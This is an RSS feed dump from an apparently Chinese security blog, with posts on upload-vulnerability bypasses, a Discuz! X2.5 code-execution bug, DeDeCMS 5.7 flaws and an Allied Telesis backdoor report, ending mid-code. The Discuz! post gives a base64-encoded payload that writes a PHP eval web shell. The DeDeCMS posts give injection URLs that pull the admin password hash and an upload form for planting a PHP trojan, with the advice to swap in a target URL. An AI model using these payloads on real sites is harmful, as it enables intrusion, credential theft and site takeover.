0px; margin: 0px; padding-top: 0px; text-align: left; border-right-width: 0px">&nbsp;</div></div><div class="under" style="clear: both; border-right: rgb(221,221,221) 1px dashed; padding-right: 10px; border-top: rgb(221,221,221) 1px dashed; padding-left: 10px; font-size: 12px; padding-bottom: 5px; margin: 10px 0px; border-left: rgb(221,221,221) 1px dashed; padding-top: 5px; border-bottom: rgb(221,221,221) 1px dashed; text-align: left"><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"><span style="color: #008080">文章原创：</span><a style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(223,0,49); padding-top: 0px; text-decoration: none" href="http://www.beiseo.com/"><span style="color: #008080">宜昌SEO</span></a><span style="color: #008080">（</span><a href="http://www.beiseo.com"><span style="color: #008080">http://www.beiseo.com</span></a><span style="color: #008080">）</span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"><span style="color: #008080">转载地址：</span><a style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; color: rgb(223,0,49); padding-top: 0px; text-decoration: none" href="http://www.beiseo.com/seotech/226.html"><span style="color: #008080">http://www.beiseo.com/seotech/226.html</span></a><span style="color: #008080"><br style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px" /></span></p></div></span></p>]]></description><category>武汉SEO</category><comments>http://www.si1ence.cn/SEO/403/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=403</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=403&amp;key=3e04d9b4</trackback:ping></item><item><title>上传漏洞科普</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/wangluoanquan/402/</link><pubDate>Wed, 02 May 2012 18:05:46 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/402/</guid><description><![CDATA[<p><span class="Apple-style-span" style="word-spacing: 0px; font: 14px/21px Tahoma, Helvetica, SimSun, sans-serif; text-transform: none; color: rgb(68,68,68); text-indent: 0px; white-space: normal; letter-spacing: normal; background-color: rgb(255,255,255); orphans: 2; widows: 2; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px"><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">这里首先要表达一个观点，入侵网站说到底就是获得网站的管理权限，当然这个权限应该高于web站点后台管理权限（只拿到个后台的都不好意思拿出去跟别人打招呼，是吧），也可以这么理解，入侵网站不就是为了往网站目录下写入一张木马脚本么？如何简单有效的往站点下写脚本，我们可能通过任意手段得到了ftp口令甚至root密码，但是这些不能全部归纳到通过web漏洞入侵进去，从web漏洞点出发利用，如果有漏洞的话，我相信上传漏洞应该是比较直接的（终于引出上传漏洞了 -_-!!）。</font></font></font></span></p><p><span style="color: #008080"><br style="word-wrap: break-word" /><strong style="font-weight: 700; word-wrap: break-word">正文</strong><br style="word-wrap: break-word" /></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">什么是上传漏洞？</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">我的理解是<strong style="font-weight: 700; word-wrap: break-word">由于程序员未对上传的文件作过滤或者过滤机制不严格，导致恶意用户可以上传动态脚本页面，从而通过上传的这张脚本页面达到控制网站权限的目的</strong>。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">我们简单来说下什么叫做过滤机制不严格：</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">比如一个网站只支持ASP脚本，在上传功能中程序员对此的过滤策略是&ldquo;取得客户端文件名中最后一位小数点后的后缀内容，如果碰到后缀为html、shtml、asp格式，程序则不允许上传，否则，上传成功&rdquo; 。假设程序员知道本网站只支持解析ASP，不支持解析php或者aspx，也就是说其他脚本即使被上传成功，也执行不了。看来这个情况下我们确实只需要限制掉asp就可以了。如果你的想法也是这样，那真的错了，默认情况下asa、cer后缀均调用的是asp的解析dll，那么，你觉得这样的程序还安全吗？很多程序员未必会了解这一点。再反问，以这种验证方式为前提，如果我把所有能当做asp去执行的后缀都限制上传了，你觉得安全吗？后面我会告诉你的。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">这里我先来简单归纳一下上传漏洞的总类（个人能力有限应该还有遗留的）：</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">一、未做任何限制</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">二、客户端</strong><strong style="font-weight: 700; word-wrap: break-word">JS</strong><strong style="font-weight: 700; word-wrap: break-word">验证绕过（本地</strong><strong style="font-weight: 700; word-wrap: break-word">javascript</strong><strong style="font-weight: 700; word-wrap: break-word">扩展名检测）</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">三、</strong><strong style="font-weight: 700; word-wrap: break-word">http</strong><strong style="font-weight: 700; word-wrap: break-word">包头检测绕过（</strong><strong style="font-weight: 700; word-wrap: break-word">content-type</strong><strong style="font-weight: 700; word-wrap: break-word">检测）</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">四、文件名可定义上传漏洞（自定义文件名，可使用</strong><strong style="font-weight: 700; word-wrap: break-word">0&times;00</strong><strong style="font-weight: 700; word-wrap: break-word">截断写入，参看</strong><strong style="font-weight: 700; word-wrap: break-word">dvbbs6.0</strong><strong style="font-weight: 700; word-wrap: break-word">上传漏洞同理）</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">五、文件夹可定义上传漏洞（自定义文件夹名，可使用</strong><strong style="font-weight: 700; word-wrap: break-word">0&times;00</strong><strong style="font-weight: 700; word-wrap: break-word">截断写入，参看</strong><strong style="font-weight: 700; word-wrap: break-word">dvbbs6.0</strong><strong style="font-weight: 700; word-wrap: break-word">上传漏洞）</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">六、文件头检测绕过（</strong><strong style="font-weight: 700; word-wrap: break-word">gif89a</strong><strong style="font-weight: 700; word-wrap: break-word">等文件头部检测）</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">七、第三方解析漏洞（</strong><strong style="font-weight: 700; word-wrap: break-word">IIS</strong><strong style="font-weight: 700; word-wrap: break-word">、</strong><strong style="font-weight: 700; word-wrap: break-word">apache</strong><strong style="font-weight: 700; word-wrap: break-word">、</strong><strong style="font-weight: 700; word-wrap: break-word">nginx</strong><strong style="font-weight: 700; word-wrap: break-word">的解析问题）</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><strong style="font-weight: 700; word-wrap: break-word">八、等等</strong></font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">相信以上这些大家多多少少都碰到过，并且也都知道原理，这里不再重复复述，不懂的可以问我或者找我们共同的老师搜索引擎问一下。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">进入正题，我们先来看一段代码</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word">&nbsp;</p><span style="color: #008080"><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><img alt="上传漏洞代码" src="http://www.si1ence.cn/UPLOAD/shangchuan.jpg" /></font></font></font></p></span><font style="word-wrap: break-word" color="#000000"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><span class="Apple-style-span" style="word-spacing: 0px; font: 14px/21px Tahoma, Helvetica, SimSun, sans-serif; text-transform: none; color: rgb(68,68,68); text-indent: 0px; white-space: normal; letter-spacing: normal; background-color: rgb(255,255,255); orphans: 2; widows: 2; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px"><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">很明显上述功能首先获得用户文件名中最后一个小数点后面的内容-即后缀，如果后缀为第三行定义中数组中的词语，则不允许上传，甚至我们还限制了shtml、html，想的比较周到。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">现在来看看我们如何来突破他吧。仔细分析一下，程序取得文件名最后一个小数点的值，以此来判断文件是否允许被上传。如果上传成功，则以date()一个数值加上文件名来进行最终命名，然后将此临时文件移动到我们要保存的目录。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">我们先来补充点小知识，对于windows来说，会默认&ldquo;吃掉&rdquo;文件名最后的小数点，可以尝试一下，在文件名最后输入一个小数点保存，小数点是不会出现的，被吃掉了。Linux则会继续将小数点写进去。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">有了这个概念，我们来针对这个上传程序进行测试，首先上传一个木马页面test.php，很显然上传失败，然后我们对上传的这个地址加以改进，写成如下样式（同样是刚才那张木马页面，我们仅仅是在这个input中手工多加了个小数点哦）</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word">&nbsp;</p><span style="color: #008080"><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><img alt="上传漏洞2" src="http://www.si1ence.cn/UPLOAD/shangchuan2.jpg" /></font></font></font></p></span><font style="word-wrap: break-word" color="#000000"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word"><span class="Apple-style-span" style="word-spacing: 0px; font: 14px/21px Tahoma, Helvetica, SimSun, sans-serif; text-transform: none; color: rgb(68,68,68); text-indent: 0px; white-space: normal; letter-spacing: normal; background-color: rgb(255,255,255); orphans: 2; widows: 2; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px"><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">接收进去的文件名&ldquo;test.php<strong style="font-weight: 700; word-wrap: break-word">.&rdquo;</strong>被程序认为是可被允许的，因为最后一个小数点后面的值不在黑名单范围，下一步程序就进行写入，date()给予一个当前时间数&ldquo;120421003323&rdquo;加上&ldquo;_&rdquo;再加上文件名&ldquo;test.php.&rdquo; ，即变成&ldquo;120331142923_test.php<strong style="font-weight: 700; word-wrap: break-word">.</strong>&rdquo; ，相信大家先前的那个小知识的内容都试过了，程序在windows中写入文件名的时候，如果最后一位是英文的小数点，默认就吃掉了，最终变为&ldquo;120331142923_test.php&rdquo; ，木马上传成功。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">虽然在linux中仍然是&ldquo;120331142923_test.php<strong style="font-weight: 700; word-wrap: break-word">.</strong>&rdquo;格式写入，但是还是由于apache和nginx的解析特性，大部分此类情况还是继续会被当做php去执行，具体版本情况大家可以自行测试。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><br style="word-wrap: break-word" /><strong style="font-weight: 700; word-wrap: break-word">总结</strong><br style="word-wrap: break-word" /></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">防御:一些单纯的本地检测、包头检测、图片头检测、图片体检测getimagesize()、黑白名单检测，只要稍微不小心，就有可能会被突破，所以，我们如果要使用这些方法的话，请先严格理解这些可能造成的漏洞隐患，然后再对相关的问题点进行针对性的修补。</font></font></font></span></p><p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; line-height: 18px; padding-top: 0px; text-align: left; word-wrap: break-word"><span style="color: #008080"><font style="word-wrap: break-word"><font style="word-wrap: break-word" face="Tahoma, Verdana"><font style="font-size: 12px; word-wrap: break-word">最后还是表达我感悟的一句话：入侵技术点或许大家都会，但是这远远不够，实际渗透中由于环境问题有各种变化，能否举一反三、细心、坚持才是渗透最重要的。</font></font></font></span></p></span></font></font></font></span></font></font></font></span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/402/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=402</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=402&amp;key=932a9c44</trackback:ping></item><item><title>Discuz!X2.5远程代码执行漏洞</title><author>silencezq@gmail.com (si1ence)</author><link>http://www.si1ence.cn/wangluoanquan/401/</link><pubDate>Fri, 27 Apr 2012 17:29:41 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/401/</guid><description><![CDATA[<p><span style="color: #008080">Discuz! X2.5 Release 20120407版中的preg_replace使用了e修饰符和双引号，在实现上存在远程命令执行漏洞，远程攻击者可利用此漏洞执行远程任意代码。要成功利用此漏洞需要目标启用seo功能。</span></p><p><span style="color: #008080">链接：http://www.wooyun.org/bugs/wooyun-2012-06420<br /><br />利用方法1.注册任意账户<br />2.登陆用户，发表blog日志（注意是日志）<br />3.添加图片，选择网络图片，地址</span></p><blockquote><p><span style="color: #008080">{${fputs(fopen(base64_decode(ZGVtby5waHA),w),</span></p><p><span style="color: #008080">base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}</span></p></blockquote><p><span style="color: #008080"><br />4.访问日志，论坛根目录下生成demo.php，一句发密码C<br /></span></p><p><span style="color: #008080">不知道是否可行。未验证。</span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/401/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=401</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=401&amp;key=3e840bf6</trackback:ping></item><item><title>dedecms5.7注入和上传漏洞</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/wangluoanquan/400/</link><pubDate>Wed, 25 Apr 2012 09:21:24 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/400/</guid><description><![CDATA[<p><span style="color: #008080">在黑防上看到的。</span></p><p><span style="color: #008080">　　百度搜索关键字&ldquo;Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc&rdquo;，获得使用DeDeCMS系统的网站。</span></p><p><span style="color: #008080">　　注入漏洞。首先访问&ldquo;/data/admin/ver.txt&rdquo;页面获取系统最后升级时间，然后访问&ldquo;/member/ajax_membergroup.php?action=post&amp;membergroup=1&rdquo;页面，</span></p><p><span style="color: #008080">　　然后访问&ldquo;/member/ajax_membergroup.php?action=post&amp;membergroup=1&rdquo;页面，如图说明存在该漏洞。</span></p><p><span style="color: #008080"><img alt="dedecms5.7注入和上传漏洞" src="http://www.si1ence.cn/upload/dedecms5.7zhuru.jpg" /></span></p><p><span style="color: #008080">　　然后写上语句/member/ajax_membergroup.php?action=post&amp;membergroup=@`'` Union select userid from `%23@__admin` where 1 or id=@`'` 查看管理员id</span></p><p><span style="color: #008080">　　/member/ajax_membergroup.php?action=post&amp;membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'` 查看管理员密码</span></p><p><span style="color: #008080">　　得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5</span></p><p><span style="color: #008080">&nbsp;</span></p><p><span style="color: #008080">　　上传漏洞。要求网站开启新会员注册功能，首先注册新会员，无需通过邮件验证，</span></p><p><span style="color: #008080">　　只要登陆会员中心，然后访问页面链接</span></p><p><span style="color: #008080">　　&ldquo;/plus/carbuyaction.php?dopost=memclickout&amp;oid =S-P0RN8888&amp;rs[code]=../dialog/select_soft_post&rdquo;</span></p><p><span style="color: #008080">　　如图，说明通过&ldquo;/plus/carbuyaction.php&rdquo;已经成功调用了上传页面&ldquo;/dialog/select_soft_post&rdquo;</span></p><p><span style="color: #008080">&nbsp;</span></p><p><span style="color: #008080"><img alt="dedecms5.7注入和上传漏洞" src="http://www.si1ence.cn/upload/dedecms5.7zhuru2.jpg" /></span></p><p><span style="color: #008080">　　于是将Php一句话木马扩展名改为&ldquo;rar&rdquo;等，利用提交页面upload1.htm</span></p><blockquote><p><span style="color: #008080">&lt;form action=&quot;<a href="http://www.si1ence.cn/plus/carbuyaction.php?dopost=memclickout&amp;oid=S-P0RN8888&amp;rs[code" target="_blank">=../dialog/select_soft_post]</span></p><p><span style="color: #008080">&lt;[/url&quot;&gt;http://www.si1ence.cn/plus/carbuyaction.php?dopost=memclickout&amp;oid=S-P0RN8888&amp;rs[code]=../dialog/select_soft_post</a>&quot; method=&quot;post&quot;</span></p><p><span style="color: #008080">enctype=&quot;multipart/form-data&quot; name=&quot;form1&quot;&gt;<br />file:&lt;input name=&quot;uploadfile&quot; type=&quot;file&quot; /&gt;&lt;br&gt;<br />newname:&lt;input name=&quot;newname&quot; type=&quot;text&quot; value=&quot;myfile.Php&quot;/&gt;<br />&lt;button class=&quot;button2&quot; type=&quot;submit&quot;&gt;提交&lt;/button&gt;&lt;br&gt;&lt;br&gt;</span></p><p><span style="color: #008080">&nbsp;</span></p></blockquote><p><span style="color: #008080">&nbsp;把url改成目标url就行了。还有个全局变量提交，绕过注册的可以去黑防2月刊上面看。</span></p>]]></description><category>网络安全</category><comments>http://www.si1ence.cn/wangluoanquan/400/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=400</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=400&amp;key=48fff2b5</trackback:ping></item><item><title>安奈特产品存在BackDoor已威胁国家安全</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/news/399/</link><pubDate>Sat, 21 Apr 2012 21:41:28 +0800</pubDate><guid>http://www.si1ence.cn/news/399/</guid><description><![CDATA[<p><span style="color: #008080">近期安奈特公司网络产品后门事件在网上颇受关注，太平洋电脑网也一直在留意此事。有关部门检测发现，安奈特（Allied Telesis）公司生产的网络交换机、路由器等网络设备存在后门口令，可用于对网络设备实施控制，这将对我国网络与信息安全构成严重威胁。安奈特公司总部位于美国加利福尼亚州，产品涵盖路由器、交换机、光纤传输、VoIP、无线局域网和网络管理系统等方面。</span></p><p><span style="color: #008080"><img height="469" alt="安奈特产品存在BackDoor已威胁国家安全" width="540" src="http://www.si1ence.cn/UPLOAD/ant1.jpg" /></span></p><p><span style="color: #008080">安奈特（Allied Telesis）是知名的网络产品和解决方案供应商，自1999年5月成立了安奈特（中国）网络有限公司进入国内后。产品广泛应用于电信、保险、房地产、教育、公安、武警、军队、水利、政府等诸多领域。在此事发生之前很多企业对安奈特的产品和售后服务都赞赏有加。</span></p><p><span style="color: #008080">但此次安奈特公司被发现留有后门，对中国的网络安全造成了极大的威胁，很多国企央企和保密企事业单位受到的影响尤为严重。此事件，给安奈特企业本身带来的影响也是不可估量的。对于网络来讲最重要的就是安全，安奈特作为网络设备提供商，严重触碰了自己行业红线。据悉很多单位已收到相关单位发布的红头文件，要求立即停止使用和禁止未来再次购买安奈特公司产品。</span></p><p><span style="color: #008080">在安奈特公司产品有后门事件发生后，太平洋电脑网的编辑第一时间联系了安奈特的市场部，对此事进行确认和了解。得到的官方答复是：&ldquo;正在就此事件与有关部门协商中&rdquo;。我们也会继续关注此事，进行跟踪报道，并将第一时间获取的信息告知网友。（来自PCONLINE）</span></p><p><span style="color: #008080">上文来自太平洋电脑网，游侠专门搜索了下，发现了下面两篇文章：</span><font class="Apple-style-span" color="#008080"><br /></font><font class="Apple-style-span" color="#008080"><br /></font></p><p><span style="color: #008080">发改局关于网络设备使用情况的清理工作自查报告&nbsp; http://www.deyang.gov.cn/dyweb/xxgk/PublicView.asp?newsid=484395</span></p><p><span style="color: #008080">德阳市发改局</span></p><p><span style="color: #008080"><img alt="安奈特产品存在BackDoor已威胁国家安全" src="http://www.si1ence.cn/UPLOAD/ant3.jpg" /></span></p><p><span style="color: #008080">从政府网站上看到如此信息，应该不是空穴来风。</span></p><p><span style="color: #008080">不过游侠在中央政府采购网上发现，安奈特依然在列，不过旗下无任何产品。</span></p><p>&nbsp;</p>]]></description><category>业界新闻</category><comments>http://www.si1ence.cn/news/399/#comment</comments><wfw:comment>http://www.si1ence.cn/</wfw:comment><wfw:commentRss>http://www.si1ence.cn/feed.asp?cmt=399</wfw:commentRss><trackback:ping>http://www.si1ence.cn/cmd.asp?act=tb&amp;id=399&amp;key=b6a57afa</trackback:ping></item><item><title>DeDeCMS v5.7最新ajax_membergroup.php注入漏洞</title><author>a@b.com (admin)</author><link>http://www.si1ence.cn/wangluoanquan/398/</link><pubDate>Sat, 21 Apr 2012 10:22:55 +0800</pubDate><guid>http://www.si1ence.cn/wangluoanquan/398/</guid><description><![CDATA[<p><span style="color: #008080">DeDeCMS（织梦CMS）是一款国内比较专业的PHP网站内容管理系统，从04年发行至今，已近七个年头，也经历了无数次的升级和改版，最新版本为8月12更新的V5.7正式版，功能也不断增强。笔者原本以为这应该是一款安全性比较高的CMS系统，然而分析后令人感到迷茫，迷茫国内比较专业的系统经历七年发展，其安全还是令人堪忧。或许网络原本就没有绝对的安全。<br />注入漏洞<br />漏洞一：/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入，关键代码如下：</span></p><p><span style="color: #008080"><br />elseif($action == 'post')<br />{<br />if(empty($membergroup)){<br />echo &quot;您还没有设置分组！&quot;;<br />exit;<br />}<br />$sql = &quot;UPDATE ` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml-&gt;M_ID}';&quot;;<br />$dsql-&gt;ExecuteNoneQuery($sql);<br />$row = $dsql-&gt;GetOne(&quot;SELECT groupname FROM WHERE mid = {$cfg_ml-&gt;M_ID} AND id={$membergroup}&quot;); //数字型注入<br />echo &quot;&amp;nbsp;&quot;.$row['groupname'].&quot;&amp;nbsp;&amp;nbsp;&lt;a href='#' onclick='EditMemberGroup($mid);return false;'&gt;修改&lt;/a&gt;&quot;;</span></p><p><span style="color: #008080"><br />很明显当&ldquo;action=post&rdquo;时，$membergroup导致数字型注入漏洞，但是DeDeCMS在访问MySql数据库之前，使用CheckSql()自定义函数对SQL语句进行安全检查，无法直接注入。<br />绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中，代码如下：</span></p><p><span style="color: #008080"><br />if (!function_exists('CheckSql'))<br />{ function CheckSql($db_string,$querytype='select')<br />{global $cfg_cookie_encode;<br />$clean = '';$error='';$old_pos = 0;$pos = -1;<br />...(略)<br />//如果是普通查询语句，直接过滤一些特殊语法<br />if($querytype=='select')<br />{$notallow1= &quot;[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}&quot;;<br />//[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符，<br />if(preg_match(&quot;/&quot;.$notallow1.&quot;/&quot;, $db_string))<br />{//①preg_match未使用参数i，使用大写绕过，如：Union<br />puts(fopen($log_file,'a+'),&quot;$userIP||$getUrl||$db_string||SelectBreak\r\n&quot;);<br />exit(&quot;&lt;font size='5' color='red'&gt;Safe Alert: Request Error step 1 !&lt;/font&gt;&quot;);<br />}<br />}<br />while (TRUE)<br />{ $pos = strpos($db_string, '\'', $pos + 1);<br />if ($pos === FALSE)<br />{break; }<br />//②假如字符串$db_string中不存在&ldquo;\'&rdquo;退出while循环，存在则继续向下执行<br />$clean .= substr($db_string, $old_pos, $pos - $old_pos);<br />while (TRUE)<br />{ ...(略) }<br />$clean .= '$s$';<br />//③将字符串$db_string中&quot;\'&quot;和&quot;\'&quot;之间的字符转为&quot;$s$&quot;，即信任之间的字符串，绕过防注入的关键<br />$old_pos = $pos + 1;<br />}<br 